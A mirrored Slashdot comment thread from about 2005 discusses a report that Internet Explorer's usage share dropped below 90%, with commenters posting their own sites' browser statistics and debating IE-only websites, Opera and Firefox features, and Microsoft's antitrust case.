Slashdot Mirror


Internet Explorer's Share Dips Below 90%

sheepoo writes "CNN has a story stating that, according to a WebSideStory report, Internet Explorer has slipped below 90% usage share for the first time." From the article: "Firefox, an open-source browser collectively developed by the Internet community under the Mozilla Foundation, had a 6.8 percent share as of April 29, an increase from 3.0 percent since WebSideStory began tracking Firefox separately in October."

463 comments

  1. Statistics by LiNKz · · Score: 5, Interesting

    Googledot receives a few hits everytime someone mentions it on Slashdot. I've been keeping track of the hits and such, which show 67% of slashdotters (who are willing to click a link for a laugh) are using firefox, and only 14.5% of them are using Internet Explorer. It is interesting to look at how many people still use Windows over *nix too. I guess it is all very much depending on what type of website you're counting from too.

    You can look at a few statistics here that have been collected since over a few months.

    --
    Proceed with Format (Y/N)? Y
    1. Re:Statistics by Rei · · Score: 1

      I'm surprised - konqueror is only about 1%? Wow, I guess I *am* the only person who uses it to browse slashdot ;)

      --
      Stale pastry is hollow succor to one who is bereft of ostrich.
    2. Re:Statistics by Klivian · · Score: 1

      Nope, you'r not alone:-)

    3. Re:Statistics by Marthisdil · · Score: 0

      Except that most folks who don't read Slashdot don't care about anything here that would make them come here.

      Slashdot is just a hub for controversy, and a majority of the time, just one big argument.

    4. Re:Statistics by jez9999 · · Score: 1

      Why is it we can't see the traffic stats for Slashdot.org again? ROB, GIVE US THOSE STATS!!!!!

    5. Re:Statistics by Sir+Pallas · · Score: 3, Funny

      Interestingly, a new survey done by www.windowsupdate.com shows that 99% of the hits come from Internet Explorer.

    6. Re:Statistics by Anonymous Coward · · Score: 0

      That's because they hard coded the website to display 99%. ;)

    7. Re:Statistics by Anonymous Coward · · Score: 0

      No, just you and the two other people who *always* post in any browser story about how you use Konqueror and generate so much noise. Absolutely *no-one* else uses it. Get over it.

    8. Re:Statistics by Anonymous Coward · · Score: 0

      I tried Windows Update on my Mac. Didn't work. Microsoft bastards.

    9. Re:Statistics by MMMDI · · Score: 2, Interesting

      My site is fairly popular, bringing in 5,000-6,000 uniques daily. The percentage of FF users continues to grow on here, and it's gone up a bit every month since October.

      Stats thus far this month (top ten only - browser, hits, percentage):

      MS Internet Explorer 2079395 78.5 %
      Firefox 379445 14.3 %
      Unknown 79904 3 %
      Opera 29449 1.1 %
      Mozilla 26880 1 %
      Netscape 25841 0.9 %
      Safari 23546 0.8 %
      Konqueror 1023 0 %
      Phoenix 502 0 %
      Firebird (Old Firefox) 488 0 %

      Stats per browser since it was brought up in another post (top five only):

      Msie 6.0 2020020 76.3 %
      Msie 5.5 25094 0.9 %
      Msie 5.23 6121 0.2 %
      Msie 5.22 2922 0.1 %
      Msie 5.21 192 0 %

      Firefox 1.0.4 3671 0.1 %
      Firefox 1.0.3 180543 6.8 %
      Firefox 1.0.2 56023 2.1 %
      Firefox 1.0.1 30442 1.1 %
      Firefox 1.0 73662 2.7 %

      Netscape 7.2 16720 0.6 %
      Netscape 7.1 6691 0.2 %
      Netscape 7.02 694 0 %
      Netscape 7.01 75 0 %
      Netscape 7.0 839 0 %

      Unknown 79904 3 %
      Opera 29449 1.1 %
      Mozilla 26880 1 %
      Safari 23546 0.8 %
      Konqueror 1023 0 %

    10. Re:Statistics by qurk · · Score: 1

      Using Konq too :) Not sure what my user agent is telling the website tho!

    11. Re:Statistics by Anonymous Coward · · Score: 0

      4 unique visitors using Windows 95.

      Wow. Just... Wow.

    12. Re:Statistics by Anonymous Coward · · Score: 0

      Yes. It just prints:

      Kiitos mielenkiinnostasi Windows Updateen

      Windows Update on Windowsin online-laajennus, joka auttaa tietokoneesi ajan tasalla pitämisessä.

      Jotta voisit käyttää Windows Updatea, sinun täytyy käyttää jotakin Microsoft Windows -käyttöjärjestelmää.

    13. Re:Statistics by stevey · · Score: 2, Interesting

      I guess it just goes to show that traffic varies for particular sites.

      I run a site focussing on Debian Administration - 20,300 hits this month.

      Stats are :

      • 59.55% Mozilla/5.0
      • 5.33% MSIE 6.0
      • 4.29% Konqueror/3.3
      • 4.21% Konqueror/3.4

      (Other hits from RSS readers, Opera etc aren't more than a single percent or two each).

      So that puts the visitors at Mozilla, Konqueror, then IE.

  2. Tell me when by nbharatvarma · · Score: 1

    Firefox reaches 10 %. Then I will be *really* impressed. We just had a discussion on the "alleged" decrease in Firefox growth rate right.. This one appears a little redundant to me.

    --
    ... and I shall strike upon thee with great vegeance, furious anger and a slightly positive karma.
    1. Re:Tell me when by antifoidulus · · Score: 1, Informative

      Decrease in growth RATE != decrease in growth.....

    2. Re:Tell me when by taskforce · · Score: 1

      Don't forget that Firefox isn't the only browser competing with IE - Opera, Safari, KHTML, even Seamonkey etc all count, so a 90% IE share doesn't nessecarily mean a 10% Firefox share.

      --
      My 3D Texturing Skinning work (under construction)
    3. Re:Tell me when by Anonymous Coward · · Score: 0

      Slashdot. FireFox.

      If there is a FireFox story, it must be umm, Today.

      And yes, I use it.

    4. Re:Tell me when by Anonymous Coward · · Score: 0

      The grandparent comment included the start of a sentence in the title, then capitalized the first letter of the rest of the sentence in the comment. Very confusing and not even slightly cool.

    5. Re:Tell me when by geoffspear · · Score: 4, Informative
      Wow, mods. Way to moderate a statement that couldn't possibly be more obviously false as "Informative".

      Yes, a decrease in growth does exactly equal the decrease in the rate of growth. That's what growth means. The rate of increase. The rate of growing.

      Did you mean to say that a decrease in growth isn't the same thing as a decrease in the number of users? That's true, and maybe not as obvious to a lot of people as it should be.

      --
      Don't blame me; I'm never given mod points.
    6. Re:Tell me when by Lehk228 · · Score: 1

      either (as i hope) the mods were modding up the GP's intent or (i fear to be true) the mods ar3 even more clueless than ever

      --
      Snowden and Manning are heroes.
    7. Re:Tell me when by stecoop · · Score: 1

      I think the parent to you reply was saying that the rate of growth is growing as rapid:

      0% -> 1% is infinite market growth while
      1% -> 2% is the same market growth and the market doubled while
      2% -> 3% is less than the rate of growth above but yet the same market growth.

      In all three the market captured was the same but the rate of growth couldn't be sustained as you approach 100%.

    8. Re:Tell me when by stecoop · · Score: 1

      Oops:

      the rate of growth isn't growing as rapid:

    9. Re:Tell me when by GMFTatsujin · · Score: 1

      Wait... isn't there calculus involved here? Like, change in growth rate is a derivative of change in growth?

      Like, aren't there a couple of ds and a few xs scribbled over each other somehow?

    10. Re:Tell me when by pebs · · Score: 1

      Firefox reaches 10 %. Then I will be *really* impressed. We just had a discussion on the "alleged" decrease in Firefox growth rate right.. This one appears a little redundant to me.

      There are plenty of standards-compliant browsers other than Firefox. I'm happy to see less people using IE and using stanrdards-compliant browsers that don't suck such as anything Gecko-based, KHTML-based, or Opera.

      --
      #!/
    11. Re:Tell me when by Anonymous Coward · · Score: 0

      Yes yes we all took calculus one.

    12. Re:Tell me when by geoffspear · · Score: 1
      No. The change is growth rate is irrelevant (and, in fact, was negative). The growth rate itself declined but remained positive.

      Shall we discuss the change in the change in growth rate, too? How about some even higher order differentials?

      --
      Don't blame me; I'm never given mod points.
    13. Re:Tell me when by Anonymous Coward · · Score: 0

      that was about as informative as mainstream news...you are totally wrong. rate of growth is the rate of the rate of increase, according to your definition of "growth". if the rate of the rate of increase decreases, the rate of increase is not necessarily negative. if this were the case, when you apply the brake in your car you will immediately begin traveling backwards.

    14. Re:Tell me when by sznupi · · Score: 2, Informative

      Are you interested in local stats? :>

      Poland, 28th April:

      Microsoft IE 83,1%
      Mozilla Firefox 9,6%
      Opera 5,1%
      Mozilla 1.6%

      So it's very probable that by now it has 10%

      --
      One that hath name thou can not otter
  3. The king is dead... by DarkIye · · Score: 0, Redundant

    ...or at least close. Hopes for this to be a sign of things to come.

    1. Re:The king is dead... by goldspider · · Score: 2, Insightful

      If posessing 90% of a market denotes an "almost dead" product, I'm glad you're not MY boss! Sheesh!

      Maybe when IE has less than 10%, you can start calling it "almost dead".

      --
      "Ask not what your country can do for you." --John F. Kennedy
    2. Re:The king is dead... by DarkIye · · Score: 1

      Hey, I typed it fast, ok. It was almost first post glory! I didn't do all that 'thinking' stuff. Pff, some people.

    3. Re:The king is dead... by daeley · · Score: 1

      If you poke a hole in a body -- or for the squeamish in the audience, a balloon -- it will begin to empty of its contents. At some point, it will drop to 90% capacity and yet could still be said to be almost dead. ;)

      --
      I watched C-beams glitter in the dark near the Tannhauser gate.
    4. Re:The king is dead... by j79 · · Score: 1

      LIES!! Having less than 10% does not constitute as almost being dead!! NO! NEVER!! I DON'T BELIEVE IT!! They will cater to a niche market, who enjoys removing spyware, rendering pages wrong...yes...yes... /Yes, I'm a Mac User

  4. Maybe it's just my surfing habits by Gentoo+Fan · · Score: 4, Interesting

    but I haven't run into any sites lately that require IE. Recent Mozilla handles everything just fine. Apart form some minor rendering weirdness on a few sites I haven't had to jump over to IE for anything.

    1. Re:Maybe it's just my surfing habits by DarkIye · · Score: 1

      I don't know about that. I have come across a javascript or two that would run without problem in firefox et al, but IE had problems. It was just browser specific code handling trouble though.

    2. Re:Maybe it's just my surfing habits by Ironsides · · Score: 1

      I just ran into this yesterday. VA DMV License plate checking/reservation won't operate properly with Mozilla, yet it will with IE. Here's the link

      --
      Fly me to the moon Let me sing among those stars Let me see what spring is like On jupiter and mars
    3. Re:Maybe it's just my surfing habits by Bradee-oh! · · Score: 1

      I also haven't. I did run into an artificial barrier when my bank decided that only IE 5.5+ was worthy of accessing the online-banking site. Downloading the firefox extension to change the user agent id got me past that barrier and the site worked just fine.

      I guess the only problem I have left is the slashdot pages that occassionaly render wrong. Ah the irony...

      --
      "This is Zombo Com, and welcome to you who have come to Zombo Com" - www.zombo.com
    4. Re:Maybe it's just my surfing habits by w0lver · · Score: 1

      I still have a few sites that are found of their ActiveX controls. I find that the controls display just fine but when you try to use their events, things go south. It was nice and unexpected to see that MSDN now works fairly well with Firefox... I wonder who made the change??

    5. Re:Maybe it's just my surfing habits by soupdevil · · Score: 1

      Yahoo videos don't work in Firefox -- Netscape 4.7 or IE only, according to the error page. And two of my three credit card banking sites require IE to render correctly, though I can still pay my bill online with Firefox if I wade through the warning messages and jumbled layout.

    6. Re:Maybe it's just my surfing habits by glenrm · · Score: 1

      Some crap APS.NET forums make you use IE before you can post, that is all I have seen maybe I just need to update to FireFox from Mozilla or update Mozilla. Which brings up another point I like Mozilla better than Firefox, has Moz development keeping pace with FireFox?

    7. Re:Maybe it's just my surfing habits by kemapa · · Score: 2, Interesting

      but I haven't run into any sites lately that require IE

      While casually browsing the web I have noticed the same thing. But a dependence on IE is still very much alive in a corporate setting. Take the company I work for, I've wanted to deploy firefox ever since I've been around, but I can't because a lot of the websites the brokers and agents use are IE only. Like the MLS... and several other sites. One of the sites they use (I believe it's SABOR) actually requires a 'patch' to be installed that runs at every startup which un-does one of the microsoft security patches that broke compatability with the site. Unfortunately, this means it would probably be tough to convince such websites to create non-IE dependent sites, because they can barely keep their sites compatible with IE itself!

      I don't know what needs to be done or what could be done, but I do know that having such a high dependency on IE in the corporate setting is going to hold firefox back in such arenas. Which is a shame, because a lot of firefox's features would probably prove useful to the brokers and agents where i work.

    8. Re:Maybe it's just my surfing habits by pomo+monster · · Score: 1

      Seems to work for me, using Safari. I personalized a plate (a handicapped motorcycle plate, no less) and went through to the next page. What's Firefox choking on for you?

    9. Re:Maybe it's just my surfing habits by Inkieminstrel · · Score: 1

      I have one example which really annoys me: www.weightwatchers.com requires non-Firefox browsers.

      There are ways to bypass their redirect page and view the rest of their site. It appears to all work fine in Firefox.

      I've emailed the web admin twice about this. The first time was last summer, and the response was that they had no intention of supporting a browser that was still in beta. I emailed them again once 1.0 was released and have gotten no answer.

      It's just plain dumb for business to block a site like this.

    10. Re:Maybe it's just my surfing habits by chriguhose · · Score: 1

      i can not agree with you on that. Lately it seems more like the opposite to me. More and more i find sites that are not working correctly with FF.

      although i didn't analyse the causes, it feels to me like a majority of these sites use a lot of javascript. Unfortunatly for me most of the sites that won't display correctly are my banks, insurance and others that i would whish to not use IE.

      m2c

    11. Re:Maybe it's just my surfing habits by Anonymous Coward · · Score: 1, Insightful

      I think you'll find that Mozilla 0.7 from several years back will suddenly work on most sites now too. It's not "recent builds of Firefox" getting better causing these websites to work, it's these websites finally fixing their HTML/CSS/Javascript.

    12. Re:Maybe it's just my surfing habits by nodialtone · · Score: 0

      "but I haven't run into any sites lately that require IE. Recent Mozilla handles everything just fine. Apart form some minor rendering weirdness on a few sites I haven't had to jump over to IE for anything."

      The INFOSEC Assurance Training and Rating Program [http://www.iatrp.com/ does for some of their features.

    13. Re:Maybe it's just my surfing habits by doublem · · Score: 1

      This would be one reason my employer is committed to support all browsers after IE 5.5 and Netscape 4.7. Yes, it reduces the overall features and "Cool" widgets we can use, but it means we'll work EVERYWHERE.

      --
      "Live Free or Die." Don't like it? Then keep out of the USA
    14. Re:Maybe it's just my surfing habits by liam193 · · Score: 1

      Yeah. An interesting point here. At work I have to access web sites that are IE only for business reasons (most of them intranet sites). I use Firefox for almost everything else. However, every once in a while, I accidently go to a link in IE just because it happens to be open. If it weren't for the incompatibility of sites, I would get rid of using IE. Everyone always talks about the people who try out Firefox and still use IE in terms of IE market share, but I personally believe more of that effect is based on a forced use of IE in a few instances.

    15. Re:Maybe it's just my surfing habits by Ironsides · · Score: 1

      It's actually mozilla. Not displaying it the same way (scroll bars around box 1) not bringing up the default plate (Heritage - state bird) and generally taking a long time to load up the letters on the plate picture (if at all)

      --
      Fly me to the moon Let me sing among those stars Let me see what spring is like On jupiter and mars
    16. Re:Maybe it's just my surfing habits by Anonymous Coward · · Score: 0

      Longs drug stores photo upload service doesn't work with firefox.

    17. Re:Maybe it's just my surfing habits by mandreiana · · Score: 1

      A bank here in Romania used to require only IE 5.5 or later (website built with SAP Portal).

      Starting this year they require IE 5.5 or Netscape or Firefox. Mozilla won't be allowed though (this shows how much they know about browsers... and that it has a plural)

    18. Re:Maybe it's just my surfing habits by Knara · · Score: 1
      One of the sites they use (I believe it's SABOR) actually requires a 'patch' to be installed that runs at every startup which un-does one of the microsoft security patches that broke compatability with the site.

      Unmazing. Simply unmazing.

    19. Re:Maybe it's just my surfing habits by EpsCylonB · · Score: 1

      things are definitely getting better, here in the uk the odeon website used to be IE only but now they have a text version availiable.

    20. Re:Maybe it's just my surfing habits by Lord+Kestrel · · Score: 1

      You don't have the unfortunate problem of having to use some of Cisco's web GUIs then. Most of them require you to use IE, and in some, you can't configure all the features via the CLI, you have to use to web based GUI.

    21. Re:Maybe it's just my surfing habits by angle_slam · · Score: 1

      Sites have become better. Several airlines and banking sites used to require IE. They don't anymore. In fact, the only time I regularly use IE is to access Windows Update.

    22. Re:Maybe it's just my surfing habits by mattyrobinson69 · · Score: 1

      MSDN is probably based on the standards so they can say "look, we're being good and following standards, no anti-trust for us".

      Thats my guess anyway.

    23. Re:Maybe it's just my surfing habits by SiChemist · · Score: 1

      One of the people I work with had the same problem with weight watchers so I sent them an e-mail. Their first reply was a sort of boilerplate suggesting that I "upgrade" to IE6, Netscape 7.0, or Safari. I sent back a reply, and here is their last reply to me (on April 19):

      Dear (my name),

      At this time, we support Internet Explorer, Netscape, and Safari browsers. We understand your desire to use Firefox and other browsers to view our website and we understand that there are ways to configure these browsers to allow you to do so. However, results may be erratic when using our site with a non-supported browser.

      If the site requirements page is blocking your access to our site because of the browser that you are using, you can click any of the links in the footer on that page, which will allow you to access the site.

      We appreciate your feedback and are constantly evaluating browser usage to make decisions on which browsers to support.

      Sincerely,
      Albert Dyer
      Supervisor, Customer Service
      www.weightwatchers.com

      At least I got a reply back.

    24. Re:Maybe it's just my surfing habits by resiak · · Score: 1

      I've just fired off an email to them. Keep the pressure on, y'know? :-)

    25. Re:Maybe it's just my surfing habits by Bert64 · · Score: 1

      So now your user-agent identifies you as an ie user to your bank, so they will just assume that none of their users are using anything else and therefore that they shouldn't care about anything else.
      My bank explicitely supports firefox, and actually recommends it for security reasons, and will let you access it using any browser (but you do see a warning that it might not display correctly). If my bank tried to force me to use any particular browser, i would switch banks. I like my freedom.
      As a side note, wasn't there a bank in australia that was handing out knoppix cd's for accessing their online banking?

      --
      http://spamdecoy.net - free throwaway anonymous email - avoid spam!
    26. Re:Maybe it's just my surfing habits by Bert64 · · Score: 1

      Any site that tries to take away your basic freedom to use whatever program you want, does not deserve your custom. Why not cancel those 2 cards and keep the third one that does work? And tell the companies WHY your cancelling.
      I am unwilling to buy ie, and therefore couldn't access any of these sites atall. But i would inform such companies of why they had lost a potential customer.

      --
      http://spamdecoy.net - free throwaway anonymous email - avoid spam!
    27. Re:Maybe it's just my surfing habits by Bert64 · · Score: 1

      Yeah, my site (www.ev6.net) has problems with windows ie too, but every other browser i've tried renders it perfectly, ie for mac included.

      --
      http://spamdecoy.net - free throwaway anonymous email - avoid spam!
    28. Re:Maybe it's just my surfing habits by Bert64 · · Score: 1

      It's actually very hard to program a site according to standards and still have it render properly in ie, you have to use very old standards and even then you have to be carefull.

      --
      http://spamdecoy.net - free throwaway anonymous email - avoid spam!
    29. Re:Maybe it's just my surfing habits by soupdevil · · Score: 1

      Other things also factor into my financial choices -- like fees, privacy policies, interest rates, etc. I have to say that multi-browser compliance is fairly far down the list when I'm picking a credit card. I have told them I'd prefer to use Firefox, and that's the most I'm willing to do at the moment

  5. Monopoly no more! - Well, not really.. by TheCeltic · · Score: 5, Insightful

    Now "only" 9 out of every 10 systems uses IE. Hopefully FireFox will continue to grow and IE will continue to shrink.. of course that will be tough when Microsoft copies all of Firefox's features in the next release of IE.

    --
    =-=-=-=-=-=-=-= - The Celtic - =-=-=-=-=-=-=-=
    1. Re:Monopoly no more! - Well, not really.. by farker+haiku · · Score: 1

      Next release of IE? How many years are we talking about here?

      --
      Your sig(k) has been stolen. There is a puff of smoke!
    2. Re:Monopoly no more! - Well, not really.. by timeOday · · Score: 1
      Now "only" 9 out of every 10 systems uses IE. Hopefully FireFox will continue to grow and IE will continue to shrink..
      I think we can get most of the benefits if IE usage goes down to 85% or so, and stays there. It isn't that most people use IE that troubles me, it's the exclusion of other browsers. A sizeable minority is enough to prevent that.
    3. Re:Monopoly no more! - Well, not really.. by brontus3927 · · Score: 1

      I think Firefox will always be winning converts from IE, but I agree it will happen more slowly when IE7 is released. Tabbed browsing in IE will give fewer people an incentive to make the switch, but increased security will keep people switching over. Of course, not only will IE7 be integrated into new Windows media, but will probably be made a requirement to install Office or someother Microsoft app to ensure its on 99.9% of the Windows boxes, but short of IE moving ahead of FireFox, I doubt anyone that isn't already using IE will use it when 7 comes out. That said, it's not impossible for IE to manage that. I originally switched to IE from Netscape years ago because IE had a print preview option and netscape didn't.

    4. Re:Monopoly no more! - Well, not really.. by HuguesT · · Score: 1

      I'm more optimistic than you, I think IE7 will be more bloated, slower and even less reliable than IE6, which I try never to use except for windowsupdates.

    5. Re:Monopoly no more! - Well, not really.. by jZnat · · Score: 1

      Well, when Microsoft releases their own version of Firefox (similar to the Netscape thing based on Firefox) and forgets to change the useragent string, I think the Firefox user count should rise much quicker...

      --
      'Yes, firefox is indeed greater than women. Can women block pops up for you? No. Can Firefox show you naked women? Yes.'
    6. Re:Monopoly no more! - Well, not really.. by koreth · · Score: 1, Flamebait
      of course that will be tough when Microsoft copies all of Firefox's features in the next release of IE.

      Oh, don't worry, by then I'm sure Firefox will have copied even more of Opera's features.

      Tabbed browsing was a good first feature to copy, but now Opera has native SVG support, a voice-recognition UI, and a nifty bookmarking system that saves excerpts of the bookmarked pages. Come on, Firefox guys, what are you waiting for? I want my open-source innovation!

      (I will now patiently await my Flamebait moderation.)

    7. Re:Monopoly no more! - Well, not really.. by TheCeltic · · Score: 1

      Perhaps I should say Opera's and FireFoxes features? Yes, the the tabbed browsing appears to have been "copied". (one feature of the hundreds of new ones available in FireFox). However, Opera doesn't control the desktop and cannot force an icon to be installed by default. Therefore opera is not even close as far as being unfair "tough" competition.

      --
      =-=-=-=-=-=-=-= - The Celtic - =-=-=-=-=-=-=-=
    8. Re:Monopoly no more! - Well, not really.. by orionware · · Score: 1

      Ha! mod this guy UP!

      --


      Karma means nothing to me, so suck it...
    9. Re:Monopoly no more! - Well, not really.. by joeljkp · · Score: 1

      The beta's due out this summer.

      --
      WeRelate.org - wiki-based genealogy
    10. Re:Monopoly no more! - Well, not really.. by gad_zuki! · · Score: 1

      > I want my open-source innovation!

      I don't see why people are making these demands. If open source developers just want to make a free version of something proprietary then more power to them. If you want tons of new features then go buy a product from a company working hard on R&D, UI, etc.

      The grand-daddy of OSS is simply a free unix. The idea that OSS is perfect beyond measure and will outperform all commercial software is pretty flawed and having this expectation that innovations will happen mostly in the OSS world is really unfair to those of us who put in our free time to make free software for you to use.

      Not to mention, if you dont like the status quo then please come up with good ideas, implement them, advertise them, and try to get people to use them. Its harder than you think. Sure the FF people have a high profile, but how many other OSS projects can joe sixpack name? One more? Two?

      Last I checked Opera sans ads was thirty dollars. FF is free. Something is bound to get lost when you're losing thirty dollars per download. Like a full-time HCI, QA, etc staff. Like support. Like long-term business planning. Like a patent team and a legal department. Like talented people willing to put in 45+ hrs of work per week for free when they have bills to pay.

    11. Re:Monopoly no more! - Well, not really.. by That's+Unpossible! · · Score: 1

      Tabbed browsing was a good first feature to copy, but now Opera has native SVG support, a voice-recognition UI, and a nifty bookmarking system that saves excerpts of the bookmarked pages. Come on, Firefox guys, what are you waiting for? I want my open-source innovation!

      (I will now patiently await my Flamebait moderation.)


      Well, you deserve it.

      Are you honestly going to say Opera hasn't copied ideas from any place else?

      Or that it doesn't lack features found in Firefox? (For one, can I download or write extensions for Opera? Not to my knowledge.)

      Copying non-patented features is fair competition, and it's how software products evolve over time.

      Maybe everyone should just use lynx?

      --
      Ironically, the word ironically is often used incorrectly.
    12. Re:Monopoly no more! - Well, not really.. by croddy · · Score: 3, Interesting

      Well, Opera's tabbed interface was copied from Windows 95 itself ... which ganked it from OS/2 v3 -- the original tabbed interface.

      Let me know when Opera has something in the same league as XUL and we'll talk about innovation.

      Opera is always going to be a fringe browser.

    13. Re:Monopoly no more! - Well, not really.. by zogger · · Score: 1

      I tried opera last night and it is *significantly* faster than moz suite browser or firefox on my machine. Absolutely no comparison. The only bummer is I can't make out or see their tool bar icons very well on my (admittedly old and small) screen. They are like too small and "faded" appearing. I played with the settings but couldn't get it to render legibly enough to use all the time. speedwise though it's tops, and it has a ton of features. I'll try it again whenever they get that voice browsing working for linux, that's what I really want.

    14. Re:Monopoly no more! - Well, not really.. by Compenguin · · Score: 1

      According to Wikipedia NetCaptor was the first tabbed browser so your beloved Opera infact copied them.

      Furthermore, I've been using native sbg in mozilla for well over a year. It has just been turned off by default.

    15. Re:Monopoly no more! - Well, not really.. by Anonymous Coward · · Score: 0

      What about the fact that firefox copied every Opera feature.

    16. Re:Monopoly no more! - Well, not really.. by Mitchell+Mebane · · Score: 1

      Well, we got Greasemonkey, which I'm pretty sure came before Opera's User Javascript or whatever it's called.

      --

      The roots of education are bitter, but the fruit is sweet.
      --Aristotle
    17. Re:Monopoly no more! - Well, not really.. by StaticShock · · Score: 1
      Non tech-savvy users have no reason to switch. It's sort of like driving a shitty car, it gets you from A to B, which is essentially what any better car will do.

      Viruses, exploits, glitches? The people who don't know about firefox are the same people who don't run into those problems, because they go to yahoo to check the email and to tvguide.com to check the listings (for instance). That's it. For things that simple "reliability" of the browser adds almost nothing.

    18. Re:Monopoly no more! - Well, not really.. by Teja · · Score: 1

      As an Opera fan, I find it redundant that people mention how IE is going to steal features from Firefox and how it stole features from Opera. They all had to start somewhere, and here is a brief history of tabbed browsing. I don't mind the borrowing of ideas because if a product has created something innovative, many people are going to want that feature in a cheaper product (I.E... Firefox and Other browsers having Tabbed Browsing). Unless a product really takes false credit for something useful as Tabbed browsing, I don't really mind the borrowing of ideas.

      --
      - Teja
    19. Re:Monopoly no more! - Well, not really.. by Anyletter · · Score: 1

      To call what Opera has as tabbed browsing is a bit misleading. It's a Multiple Document Interface, windows within the program. I can minimize or arrange every page I've got open. Nothing better than using this with Small Screen Rendering. That way I can have all of my frequently updated sites all lined up vertically. Nobody has that in a browser as far as I know of.

    20. Re:Monopoly no more! - Well, not really.. by nystire · · Score: 1

      Are you trying to start a flame war? :)

  6. Who measures and how measures? by Anonymous Coward · · Score: 5, Insightful

    What does 90% market share really mean? I use both IE and Firefox on the same machine. Do they both get counted?

    I love vague facts and figures

    1. Re:Who measures and how measures? by Anonymous Coward · · Score: 0

      It's not vague. They take statistics from websites with a lot of traffic and they see what browsers are used most often. In the case of people who use both, both will be counted but chances are, 1 will be counted a lot more than the other.

    2. Re:Who measures and how measures? by savagedome · · Score: 1

      I use both IE and Firefox on the same machine

      Me too. But that's because I use IE to download Firefox.

      *grins*

    3. Re:Who measures and how measures? by bunratty · · Score: 5, Informative
      What does 90% market share really mean? I use both IE and Firefox on the same machine. Do they both get counted?
      It's not 90% market share. It's 90% usage share. If you use IE half the time and Firefox half the time, they are both counted equally. If you have IE installed and never use it, it's not counted.
      --
      What a fool believes, he sees, no wise man has the power to reason away.
    4. Re:Who measures and how measures? by A8bbNjwk · · Score: 1

      They count by keeping track of the user-agent string in the http headers sent when a web user requests one of WebSideStory's transparent tracking GIFs. These tracking images are embedded, much like ads, in some web pages. IMO, Firefox users are more likely than IE users to block these images for privacy reasons, which would lead to a disproportionate percentage of IE users requesting the tracking images. Thus we can assume that Firefox enjoys a higher user share than WebSideStory reports.

    5. Re:Who measures and how measures? by nb+caffeine · · Score: 1

      I know. I wish i had wget on my windows machines so i could get it on that first boot without using ie :)

      --

      "Something's wrong with you...and I hope we never do meet again." - Deftones When Girls Telephone Boys
    6. Re:Who measures and how measures? by Anonymous Coward · · Score: 0

      ftp ftp.cygwin.com
      get setup.exe

    7. Re:Who measures and how measures? by nb+caffeine · · Score: 1

      now theres the most insightful comment i think ive ever seen from an AC. Thank you, kind AC. I think ill specifically do that next system i load up :) didnt even think aboug cygwin

      --

      "Something's wrong with you...and I hope we never do meet again." - Deftones When Girls Telephone Boys
  7. No, wait! by danheskett · · Score: 5, Interesting

    Oh my god! Microsoft's monopoly level has fallen from "complete total dominance" down to "utterly terrifying massively overwhelming" in web browsers.

    But, wait, actually. Seriously for a second. Isn't this exactly the type of competition that the DOJ argued would/could never happen as long IE was integrated into Windows? Wasn't the argument that IE was illegal tying because there would not be competition due to MS's dominance with Windows?

    Firefox has managed to take ~7% of the market in a short period of time from a massively well-funded competitor on an ultra, ultra, ultra shoestring budget. This kinda proves what MS was saying, and disproves what the DOJ was saying.

    1. Re:No, wait! by Joe+the+Lesser · · Score: 3, Insightful

      Just imagine what the market would be if every user were presented with a informed opinion about each browser without having any of them installed yet, when they first connect to the internet and need one.

      --
      "I only speak the truth"
      Karma: null(Mostly affected by an unassigned variable)
    2. Re:No, wait! by Ironsides · · Score: 3, Insightful

      Just imagine what the market would be if every user were presented with a informed opinion about each browser without having any of them installed yet, when they first connect to the internet and need one.

      Ummm.... How would they connect to recieve the information in the first place? IRC? FTP? TelNet? HTTP sure seems to be out since they won't have a browser...

      --
      Fly me to the moon Let me sing among those stars Let me see what spring is like On jupiter and mars
    3. Re:No, wait! by kin_korn_karn · · Score: 2, Funny

      And just imagine what it would be like if every user cared.

    4. Re:No, wait! by exp(pi*sqrt(163)) · · Score: 1

      I'd rather the users were informed what their options were rather than given informed opinions about each browser.

      --
      Doesn't it make you feel good to know that our freedoms are protected by politicans, lawyers and journalists.
    5. Re:No, wait! by Anonymous Coward · · Score: 0

      ~7% market share is hardly a 'serious threat' to Microsoft's dominance.

      They still control 89% of the web browser. Yes, that is 89%. That is still roughly 9/10th's of the browser share.

      Microsoft could release a 'patch' that would break all CSS and XHTML rendering, and quite frankly, people would bend over, take it, and re-edit their pages to suit IE as most users (see: grandma) wouldn't care enough to use Firefox, and just whine to the website makers about it.

      Microsoft still has dominance. They control the shape of the market. Or do I need to remind you what they did to Netscape back in 1997?

    6. Re:No, wait! by farker+haiku · · Score: 2, Interesting

      Standard's market share of refining was 64% in competition with over 100 other refiners at the time of the trial that resulted in the government-forced breakup).
      I'd say that 93% is greater than 64%, which was enough to force the federal government to breakup of Standard Oil via the Sherman Antitrust Act of 1890. I could be wrong though.

      --
      Your sig(k) has been stolen. There is a puff of smoke!
    7. Re:No, wait! by KillerDeathRobot · · Score: 2, Insightful

      The problem was never really that IE was bundled with the OS. The problem was MS forcing vendors NOT to bundle Netscape with Windows, which they could get away with due to the Windows monopoly. Thus they were illegally leveraging their monopoly.

      --
      Thinkin' Lincoln - a web comic of presidential proportions
    8. Re:No, wait! by farker+haiku · · Score: 1

      Sorry, my information came from wikipedia's entry on Standard Oil found via answers.com

      --
      Your sig(k) has been stolen. There is a puff of smoke!
    9. Re:No, wait! by killjoe · · Score: 5, Insightful

      "But, wait, actually. Seriously for a second. Isn't this exactly the type of competition that the DOJ argued would/could never happen as long IE was integrated into Windows? Wasn't the argument that IE was illegal tying because there would not be competition due to MS's dominance with Windows? "

      That's right. And you yourself admit that 90% is dominance. Why don't we wait till MS share drops below 50% before deciding who was right and wrong. As of today it looks like the DOJ was 100% correct. Due to bundling of IE a superior, more secure and free product is not able to get even a 10% share.

      --
      evil is as evil does
    10. Re:No, wait! by GigsVT · · Score: 2, Insightful

      It's called "anticompetitive behavior" for a reason. It doesn't mean that it's impossible to compete, it means that they are using illegal tactics to make it more difficult to compete with them.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    11. Re:No, wait! by Anonymous Coward · · Score: 0

      Gopher?

    12. Re:No, wait! by TheCeltic · · Score: 1

      How does the fact that real innovators have to work for free while MS watches, takes notes and THEN copies the ideas (long, long after the technology has been developed and the uneducated MS users have waited cluelessly) prove that Microsoft is not a monopoly? Yes, the OpenSource model adds competition (somewhat), but the sad truth is that there could be a great deal more technology being developed (both by commercial and non-commercial entitys) had it not been for the fact that MS "0wn3s" the desktop.

      --
      =-=-=-=-=-=-=-= - The Celtic - =-=-=-=-=-=-=-=
